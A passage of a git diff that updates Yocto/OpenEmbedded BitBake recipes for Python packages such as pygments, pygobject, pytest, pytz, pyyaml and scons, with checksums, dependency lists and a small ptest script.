--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycparser_2.21.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Parser of the C language, written in pure Python"
+HOMEPAGE = "https://github.com/eliben/pycparser"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=2c28cdeabcb88f5843d934381b4b4fea"
+
+SRC_URI[sha256sum] = "e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN}:class-target += "\
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-ply \
+ ${PYTHON_PN}-pprint \
+ "
+
+RSUGGESTS:${PN}:class-target += "\
+ cpp \
+ cpp-symlinks \
+ "
diff --git a/meta/recipes-devtools/python/python3-pycryptodome_3.14.1.bb b/meta/recipes-devtools/python/python3-pycryptodome_3.14.1.bb
new file mode 100644
index 0000000000..c0324590c2
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycryptodome_3.14.1.bb
@@ -0,0 +1,5 @@
+require python-pycryptodome.inc
+inherit setuptools3
+
+SRC_URI[sha256sum] = "e04e40a7f8c1669195536a37979dd87da2c32dbdc73d6fe35f0077b0c17c803b"
+
diff --git a/meta/recipes-devtools/python/python3-pycryptodomex_3.14.1.bb b/meta/recipes-devtools/python/python3-pycryptodomex_3.14.1.bb
new file mode 100644
index 0000000000..79a3fee19c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycryptodomex_3.14.1.bb
@@ -0,0 +1,9 @@
+require python-pycryptodome.inc
+inherit setuptools3
+
+SRC_URI[sha256sum] = "2ce76ed0081fd6ac8c74edc75b9d14eca2064173af79843c24fa62573263c1f2"
+
+FILES:${PN}-tests = " \
+ ${PYTHON_SITEPACKAGES_DIR}/Cryptodome/SelfTest/ \
+ ${PYTHON_SITEPACKAGES_DIR}/Cryptodome/SelfTest/__pycache__/ \
+"
diff --git a/meta/recipes-devtools/python/python3-pyelftools_0.28.bb b/meta/recipes-devtools/python/python3-pyelftools_0.28.bb
new file mode 100644
index 0000000000..0ceddcb68a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyelftools_0.28.bb
@@ -0,0 +1,15 @@
+DESCRIPTION = "pyelftools is a pure-Python library for parsing and analyzing ELF files and DWARF debugging information"
+HOMEPAGE = "https://github.com/eliben/pyelftools"
+SECTION = "devel/python"
+LICENSE = "PD"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5ce2a2b07fca326bc7c146d10105ccfc"
+
+SRC_URI[sha256sum] = "53e5609cac016471d40bd88dc410cd90755942c25e58a61021cfdf7abdfeacff"
+
+PYPI_PACKAGE = "pyelftools"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-debugger ${PYTHON_PN}-pprint"
diff --git a/meta/recipes-devtools/python/python3-pygments_2.11.2.bb b/meta/recipes-devtools/python/python3-pygments_2.11.2.bb
new file mode 100644
index 0000000000..35d288c89e
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pygments_2.11.2.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Pygments is a syntax highlighting package written in Python."
+DESCRIPTION = "Pygments is a syntax highlighting package written in Python."
+HOMEPAGE = "http://pygments.org/"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=98419e351433ac106a24e3ad435930bc"
+
+inherit setuptools3
+SRC_URI[sha256sum] = "4e426f72023d88d03b2fa258de560726ce890ff3b630f88c21cbb8b2503b8c6a"
+
+DEPENDS += "\
+ ${PYTHON_PN} \
+ "
+
+PYPI_PACKAGE = "Pygments"
+
+inherit pypi
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-devtools/python/python3-pygments_2.4.2.bb b/meta/recipes-devtools/python/python3-pygments_2.4.2.bb
deleted file mode 100644
index 35c0ac6a57..0000000000
--- a/meta/recipes-devtools/python/python3-pygments_2.4.2.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Pygments is a syntax highlighting package written in Python."
-DESCRIPTION = "Pygments is a syntax highlighting package written in Python."
-HOMEPAGE = "http://pygments.org/"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e1d7b7bffbfeaa14083fd2bd3236aea8"
-
-inherit setuptools3
-SRC_URI[md5sum] = "5ecc3fbb2a783e917b369271fc0e6cd1"
-SRC_URI[sha256sum] = "881c4c157e45f30af185c1ffe8d549d48ac9127433f2c380c24b84572ad66297"
-
-DEPENDS += "\
- ${PYTHON_PN} \
- "
-
-PYPI_PACKAGE = "Pygments"
-
-inherit pypi
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-devtools/python/python3-pygobject_3.34.0.bb b/meta/recipes-devtools/python/python3-pygobject_3.34.0.bb
deleted file mode 100644
index 6babf0cae8..0000000000
--- a/meta/recipes-devtools/python/python3-pygobject_3.34.0.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "Python GObject bindings"
-SECTION = "devel/python"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase distutils3-base gobject-introspection upstream-version-is-even
-
-DEPENDS += "python3 glib-2.0"
-
-SRCNAME="pygobject"
-
-SRC_URI = " \
- http://ftp.gnome.org/pub/GNOME/sources/${SRCNAME}/${@gnome_verdir("${PV}")}/${SRCNAME}-${PV}.tar.xz \
- file://0001-Do-not-build-tests.patch \
-"
-SRC_URI[md5sum] = "ca1dc4f31c1d6d283758e8f315a88ab6"
-SRC_URI[sha256sum] = "87e2c9aa785f352ef111dcc5f63df9b85cf6e05e52ff04f803ffbebdacf5271a"
-
-UNKNOWN_CONFIGURE_WHITELIST = "introspection"
-
-S = "${WORKDIR}/${SRCNAME}-${PV}"
-
-PACKAGECONFIG ??= "${@bb.utils.contains_any('DISTRO_FEATURES', [ 'directfb', 'wayland', 'x11' ], 'cairo', '', d)}"
-
-RDEPENDS_${PN} += "python3-pkgutil"
-
-# python3-pycairo is checked on configuration -> DEPENDS
-# we don't link against python3-pycairo -> RDEPENDS
-PACKAGECONFIG[cairo] = "-Dpycairo=true,-Dpycairo=false, cairo python3-pycairo, python3-pycairo"
-
-BBCLASSEXTEND = "native"
-PACKAGECONFIG_class-native = ""
diff --git a/meta/recipes-devtools/python/python3-pygobject_3.42.0.bb b/meta/recipes-devtools/python/python3-pygobject_3.42.0.bb
new file mode 100644
index 0000000000..360996dbb7
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pygobject_3.42.0.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Python GObject bindings"
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/pygobject"
+DESCRIPTION = "PyGObject is a Python package which provides bindings for GObject based libraries such as GTK, GStreamer, WebKitGTK, GLib, GIO and many more."
+SECTION = "devel/python"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
+
+GNOMEBASEBUILDCLASS = "meson"
+GIR_MESON_OPTION = ""
+
+inherit gnomebase setuptools3-base gobject-introspection upstream-version-is-even
+
+DEPENDS += "python3 glib-2.0"
+
+SRCNAME="pygobject"
+
+SRC_URI = " \
+ http://ftp.gnome.org/pub/GNOME/sources/${SRCNAME}/${@gnome_verdir("${PV}")}/${SRCNAME}-${PV}.tar.xz \
+ file://0001-Do-not-build-tests.patch \
+"
+SRC_URI[sha256sum] = "9b12616e32cfc792f9dc841d9c472a41a35b85ba67d3a6eb427e307a6fe4367b"
+
+S = "${WORKDIR}/${SRCNAME}-${PV}"
+
+PACKAGECONFIG ??= "${@bb.utils.contains_any('DISTRO_FEATURES', [ 'directfb', 'wayland', 'x11' ], 'cairo', '', d)}"
+
+RDEPENDS:${PN} += "python3-pkgutil"
+
+# python3-pycairo is checked on configuration -> DEPENDS
+# we don't link against python3-pycairo -> RDEPENDS
+PACKAGECONFIG[cairo] = "-Dpycairo=enabled,-Dpycairo=disabled, cairo python3-pycairo, python3-pycairo"
+
+BBCLASSEXTEND = "native"
+PACKAGECONFIG:class-native = ""
diff --git a/meta/recipes-devtools/python/python3-pyparsing_3.0.7.bb b/meta/recipes-devtools/python/python3-pyparsing_3.0.7.bb
new file mode 100644
index 0000000000..9c3896918f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyparsing_3.0.7.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Python parsing module"
+DESCRIPTION = "The pyparsing module is an alternative approach to creating \
+and executing simple grammars, vs. the traditional lex/yacc approach, or \
+the use of regular expressions. The pyparsing module provides a library of \
+classes that client code uses to construct the grammar directly in Python \
+code."
+HOMEPAGE = "https://github.com/pyparsing/pyparsing/"
+BUGTRACKER = "https://github.com/pyparsing/pyparsing/issues"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=657a566233888513e1f07ba13e2f47f1"
+
+SRC_URI[sha256sum] = "18ee9022775d270c55187733956460083db60b37d0d0fb357445f3094eed3eea"
+
+UPSTREAM_CHECK_REGEX = "pyparsing-(?P<pver>.*)\.tar"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-debugger \
+ ${PYTHON_PN}-html \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-pprint \
+ ${PYTHON_PN}-stringold \
+ ${PYTHON_PN}-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pyrsistent_0.18.1.bb b/meta/recipes-devtools/python/python3-pyrsistent_0.18.1.bb
new file mode 100644
index 0000000000..ecd55672f5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyrsistent_0.18.1.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Persistent/Immutable/Functional data structures for Python"
+HOMEPAGE = "https://github.com/tobgu/pyrsistent"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.mit;md5=b695eb9c6e7a6fb1b1bc2d193c42776e"
+
+SRC_URI[sha256sum] = "d4d61f8b993a7255ba714df3aca52700f8125289f84f704cf80916517c46eb96"
+
+inherit pypi setuptools_build_meta
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-numbers \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pytest-subtests_0.6.0.bb b/meta/recipes-devtools/python/python3-pytest-subtests_0.6.0.bb
new file mode 100644
index 0000000000..5e4847b8d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pytest-subtests_0.6.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "unittest subTest() support and subtests fixture."
+DESCRIPTION = "Adds support for TestCase.subTest.\
+New subtests fixture, providing similar functionality for pure pytest tests."
+HOMEPAGE = "https://github.com/pytest-dev/pytest-subtests"
+BUGTRACKER = "https://github.com/pytest-dev/pytest-subtests/issues"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=242b4e17fa287dcf7aef372f6bc3dcb1"
+
+SRC_URI[sha256sum] = "3ebd306a8dcf75133f1742f288c82f36426ebcf8a132d4ee89782d20e84fc13a"
+
+inherit pypi setuptools3
+
+DEPENDS += "${PYTHON_PN}-setuptools-scm-native"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-pytest \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pytest_7.0.1.bb b/meta/recipes-devtools/python/python3-pytest_7.0.1.bb
new file mode 100644
index 0000000000..ea6ba80300
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pytest_7.0.1.bb
@@ -0,0 +1,41 @@
+SUMMARY = "Simple powerful testing with python"
+HOMEPAGE = "https://pypi.org/project/pytest/"
+DESCRIPTION = "The pytest framework makes it easy to write small tests, yet scales to support complex functional testing for applications and libraries."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=bd27e41b6550fe0fc45356d1d81ee37c"
+
+SRC_URI[sha256sum] = "e30905a0c131d3d94b89624a1cc5afec3e0ba2fbdb151867d8e0ebd49850f171"
+
+DEPENDS += "python3-setuptools-scm-native"
+
+inherit update-alternatives pypi setuptools_build_meta
+
+RDEPENDS:${PN}:class-target += " \
+ ${PYTHON_PN}-atomicwrites \
+ ${PYTHON_PN}-attrs \
+ ${PYTHON_PN}-debugger \
+ ${PYTHON_PN}-doctest \
+ ${PYTHON_PN}-importlib-metadata \
+ ${PYTHON_PN}-iniconfig \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-more-itertools \
+ ${PYTHON_PN}-packaging \
+ ${PYTHON_PN}-pathlib2 \
+ ${PYTHON_PN}-pluggy \
+ ${PYTHON_PN}-py \
+ ${PYTHON_PN}-setuptools \
+ ${PYTHON_PN}-six \
+ ${PYTHON_PN}-toml \
+ ${PYTHON_PN}-wcwidth \
+"
+
+ALTERNATIVE:${PN} += "py.test pytest"
+
+NATIVE_LINK_NAME[pytest] = "${bindir}/pytest"
+ALTERNATIVE_TARGET[pytest] = "${bindir}/pytest"
+
+ALTERNATIVE_LINK_NAME[py.test] = "${bindir}/py.test"
+ALTERNATIVE_TARGET[py.test] = "${bindir}/py.test"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pytz/run-ptest b/meta/recipes-devtools/python/python3-pytz/run-ptest
new file mode 100644
index 0000000000..b63c4de0d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pytz/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-pytz_2021.3.bb b/meta/recipes-devtools/python/python3-pytz_2021.3.bb
new file mode 100644
index 0000000000..119342a4bd
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pytz_2021.3.bb
@@ -0,0 +1,35 @@
+SUMMARY = "World timezone definitions, modern and historical"
+HOMEPAGE = "http://pythonhosted.org/pytz"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=1a67fc46c1b596cce5d21209bbe75999"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI[sha256sum] = "acad2d8b20a1af07d4e4c9d2e9285c5ed9104354062f275f3fcd88dcef4f1326"
+
+RDEPENDS:${PN}:class-target += "\
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-doctest \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-pickle \
+ ${PYTHON_PN}-pprint \
+ ${PYTHON_PN}-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/pytz
+ install -d ${D}${PTEST_PATH}/pytz/tests
+ cp -rf ${S}/pytz/tests/* ${D}${PTEST_PATH}/pytz/tests/
+ cp -f ${S}/README.rst ${D}${PTEST_PATH}/
+
+}
diff --git a/meta/recipes-devtools/python/python3-pyyaml_6.0.bb b/meta/recipes-devtools/python/python3-pyyaml_6.0.bb
new file mode 100644
index 0000000000..6fe726110d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyyaml_6.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Python support for YAML"
+DEPENDS += "libyaml ${PYTHON_PN}-cython-native"
+HOMEPAGE = "https://pyyaml.org/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=6d8242660a8371add5fe547adf083079"
+
+PYPI_PACKAGE = "PyYAML"
+
+inherit pypi setuptools_build_meta
+
+SRC_URI[sha256sum] = "68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-netclient \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb b/meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb
new file mode 100644
index 0000000000..9bc5fed921
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb
@@ -0,0 +1,21 @@
+SUMMARY = "A pure python RFC3339 validator"
+HOMEPAGE = "https://github.com/naimetti/rfc3339-validator"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a21b13b5a996f08f7e0b088aa38ce9c6"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/python-rfc3339-validator:"
+
+SRC_URI[sha256sum] = "138a2abdf93304ad60530167e51d2dfb9549521a836871b88d7f4695d0022f6b"
+
+PYPI_PACKAGE = "rfc3339_validator"
+UPSTREAM_CHECK_REGEX = "/rfc3339-validator/(?P<pver>(\d+[\.\-_]*)+)/"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-six \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb b/meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb
new file mode 100644
index 0000000000..4abd181acf
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Pure python rfc3986 validator"
+HOMEPAGE = "https://github.com/naimetti/rfc3986-validator"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a21b13b5a996f08f7e0b088aa38ce9c6"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/python-rfc3986-validator:"
+
+SRC_URI[md5sum] = "47f7657b790aaf6011a1ab3d86c6be95"
+SRC_URI[sha256sum] = "3d44bde7921b3b9ec3ae4e3adca370438eccebc676456449b145d533b240d055"
+
+PYPI_PACKAGE = "rfc3986_validator"
+UPSTREAM_CHECK_REGEX = "/rfc3986-validator/(?P<pver>(\d+[\.\-_]*)+)/"
+
+inherit pypi setuptools3
+
+SRC_URI:append = " \
+ file://0001-setup.py-move-pytest-runner-to-test_requirements.patch \
+"
+
+RDEPENDS:${PN} += "\
+ python3-core \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb b/meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb
new file mode 100644
index 0000000000..316dc544de
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb
@@ -0,0 +1,11 @@
+SUMMARY = "Parsing and validation of URIs (RFC 3986) and IRIs (RFC 3987)"
+HOMEPAGE = "https://pypi.org/project/rfc3987/"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=9;md5=2b723edf67b2f3088bc5e339b1ceda2d"
+
+SRC_URI[md5sum] = "b6c4028acdc788a9ba697e1c1d6b896c"
+SRC_URI[sha256sum] = "d3c4d257a560d544e9826b38bc81db676890c79ab9d7ac92b39c7a253d5ca733"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.21.bb b/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.21.bb
new file mode 100644
index 0000000000..7d65c4c2d8
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.21.bb
@@ -0,0 +1,24 @@
+SUMMARY = "YAML parser/emitter that supports roundtrip preservation of comments, seq/map flow style, and map key order."
+HOMEPAGE = "https://pypi.org/project/ruamel.yaml/"
+AUTHOR = "Anthon van der Neut"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=034154b7344d15438bc5ed5ee9cc075f"
+
+PYPI_PACKAGE = "ruamel.yaml"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "8b7ce697a2f212752a35c1ac414471dc16c424c9573be4926b56ff3f5d23b7af"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-netclient \
+"
+
+do_install:prepend() {
+ export RUAMEL_NO_PIP_INSTALL_CHECK=1
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-scons-native_3.1.1.bb b/meta/recipes-devtools/python/python3-scons-native_3.1.1.bb
deleted file mode 100644
index 5cd5956625..0000000000
--- a/meta/recipes-devtools/python/python3-scons-native_3.1.1.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require python3-scons_${PV}.bb
-inherit native python3native
-DEPENDS = "python3-native"
-RDEPENDS_${PN} = ""
-
-do_install_append() {
- create_wrapper ${D}${bindir}/scons SCONS_LIB_DIR='${STAGING_DIR_HOST}/${PYTHON_SITEPACKAGES_DIR}' PYTHONNOUSERSITE='1'
-}
diff --git a/meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch b/meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch
new file mode 100644
index 0000000000..6dffe64809
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch
@@ -0,0 +1,29 @@
+From 8b482e618047e94833545dce3a26924ef4f075db Mon Sep 17 00:00:00 2001
+From: Tim Orling <ticotimo@gmail.com>
+Date: Sat, 22 May 2021 11:20:46 -0700
+Subject: [PATCH] Fix man page installation
+
+Fixes:
+ error: can't copy 'build/doc/man/scons.1': doesn't exist or not a regular file
+
+Upstream-Status: Inappropriate [oe specific]
+
+Signed-off-by: Tim Orling <ticotimo@gmail.com>
+
+---
+ MANIFEST.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/MANIFEST.in b/MANIFEST.in
+index 04ec000..937f6f3 100644
+--- a/MANIFEST.in
++++ b/MANIFEST.in
+@@ -4,7 +4,7 @@ recursive-include SCons/Tool/docbook *
+ include LICENSE
+
+ include scons.1 sconsign.1 scons-time.1
+-recursive-include build/doc/man *.1
++#recursive-include build/doc/man *.1
+
+
+
diff --git a/meta/recipes-devtools/python/python3-scons_3.1.1.bb b/meta/recipes-devtools/python/python3-scons_3.1.1.bb
deleted file mode 100644
index 0c7aaeaeee..0000000000
--- a/meta/recipes-devtools/python/python3-scons_3.1.1.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Software Construction tool (make/autotools replacement)"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=37bb53a08e6beaea0c90e7821d731284"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/scons/scons-${PV}.tar.gz"
-SRC_URI[md5sum] = "35b2a3993313bbedd221d4d5758fd2fd"
-SRC_URI[sha256sum] = "4cea417fdd7499a36f407923d03b4b7000b0f9e8fd7b31b316b9ce7eba9143a5"
-
-S = "${WORKDIR}/scons-${PV}"
-
-UPSTREAM_CHECK_URI = "http://scons.org/pages/download.html"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit setuptools3
-
-do_install_prepend() {
- sed -i -e "1s,#!.*python.*,#!${USRBINPATH}/env python3," ${S}/script/*
-}
-
-RDEPENDS_${PN} = "\
- python3-core \
- python3-fcntl \
- python3-io \
- python3-json \
- python3-shell \
- python3-pickle \
- python3-pprint \
- "
diff --git a/meta/recipes-devtools/python/python3-scons_4.3.0.bb b/meta/recipes-devtools/python/python3-scons_4.3.0.bb
new file mode 100644
index 0000000000..ae91d980fe
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-scons_4.3.0.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Software Construction tool (make/autotools replacement)"
+HOMEPAGE = "https://github.com/SCons/scons"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d903b0b8027f461402bac9b5169b36f7"
+
+SRC_URI += " file://0001-Fix-man-page-installation.patch"
+SRC_URI[sha256sum] = "d47081587e3675cc168f1f54f0d74a69b328a2fc90ec4feb85f728677419b879"
+
+PYPI_PACKAGE = "SCons"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target = "\
+ python3-core \
+ python3-compression \
+ python3-fcntl \
+ python3-importlib-metadata \
+ python3-io \
+ python3-json \
+ python3-shell \
+ python3-pickle \
+ python3-pkg-resources \
+ python3-pprint \
+ "
+
+do_install:append() {
+ install -d ${D}${mandir}/man1
+ mv ${D}${prefix}/scons*.1 ${D}${mandir}/man1/
+}
+
+do_install:append:class-native() {
+ create_wrapper ${D}${bindir}/scons SCONS_LIB_DIR='${STAGING_DIR_HOST}/${PYTHON_SITEPACKAGES_DIR}' PYTHONNOUSERSITE='1'
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-semantic-version_2.9.0.bb b/meta/recipes-devtools/python/python3-semantic-version_2.9.0.bb
new file mode 100644
index 0000000000..ee635871bf
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-semantic-version_2.9.0.bb
@@ -0,0 +1,12 @@
+SUMMARY = "A library implementing the 'SemVer' scheme."
+DESCRIPTION = "Semantic version comparison for Python (see http://semver.org/)"
+HOMEPAGE = "https://github.com/rbarrois/python-semanticversion"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4fb31e3c1c7eeb8b5e8c07657cdd54e2"
+
+SRC_URI[sha256sum] = "abf54873553e5e07a6fd4d5f653b781f5ae41297a493666b59dcf214006a12b2"
+
+PYPI_PACKAGE = "semantic_version"
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-setuptools-rust-native_1.1.2.bb b/meta/recipes-devtools/python/python3-setuptools-rust-native_1.1.2.bb
new file mode 100644
index 0000000000..bac7b6434a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools-rust-native_1.1.2.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Setuptools Rust extension plugin"
+DESCRIPTION = "setuptools-rust is a plugin for setuptools to build Rust \
+Python extensions implemented with PyO3 or rust-cpython.\
+\
+Compile and distribute Python extensions written in Rust as easily as if they were written in C."
+HOMEPAGE = "https://github.com/PyO3/setuptools-rust"
+BUGTRACKER = "https://github.com/PyO3/setuptools-rust/issues"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=011cd92e702dd9e6b1a26157b6fd53f5"
+
+SRC_URI = "https://files.pythonhosted.org/packages/67/08/e1aa2c582c62ac76e4d60f8e454bd3bba933781a06a88b4e38797445822a/setuptools-rust-${PV}.tar.gz"
+SRC_URI[sha256sum] = "a0adb9b503c0ffc4e8fe80b7c617898cefa78049983aaaea7f747e153a3e65d1"
+
+inherit cargo pypi setuptools_build_meta native
+
+DEPENDS += "python3-setuptools-scm-native python3-wheel-native"
+
+RDEPENDS:${PN}:class-native += " \
+ python3-semantic-version-native \
+ python3-setuptools-native \
+ python3-setuptools-scm-native \
+ python3-toml-native \
+ python3-typing-extensions-native \
+ python3-wheel-native \
+"
diff --git a/meta/recipes-devtools/python/python3-setuptools-scm_6.4.2.bb b/meta/recipes-devtools/python/python3-setuptools-scm_6.4.2.bb
new file mode 100644
index 0000000000..182ccecbbf
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools-scm_6.4.2.bb
@@ -0,0 +1,26 @@
+SUMMARY = "the blessed package to manage your versions by scm tags"
+HOMEPAGE = "https://pypi.org/project/setuptools-scm/"
+DESCRIPTION = "setuptools_scm handles managing your Python package versions in SCM metadata instead of declaring them as the version argument or in a SCM managed file."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=8227180126797a0148f94f483f3e1489"
+
+SRC_URI[sha256sum] = "6833ac65c6ed9711a4d5d2266f8024cfa07c533a0e55f4c12f6eff280a5a9e30"
+
+PYPI_PACKAGE = "setuptools_scm"
+inherit pypi setuptools_build_meta
+
+UPSTREAM_CHECK_REGEX = "setuptools_scm-(?P<pver>.*)\.tar"
+
+RDEPENDS:${PN} = "\
+ ${PYTHON_PN}-packaging \
+ ${PYTHON_PN}-pyparsing \
+ ${PYTHON_PN}-setuptools \
+ ${PYTHON_PN}-tomli \
+"
+
+RDEPENDS:${PN}:append:class-target = " \
+ ${PYTHON_PN}-debugger \
+ ${PYTHON_PN}-json \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig-append-STAGING_LIBDIR-python-sy.patch b/meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig-append-STAGING_LIBDIR-python-sy.patch
new file mode 100644
index 0000000000..3150187951
--- /dev/null
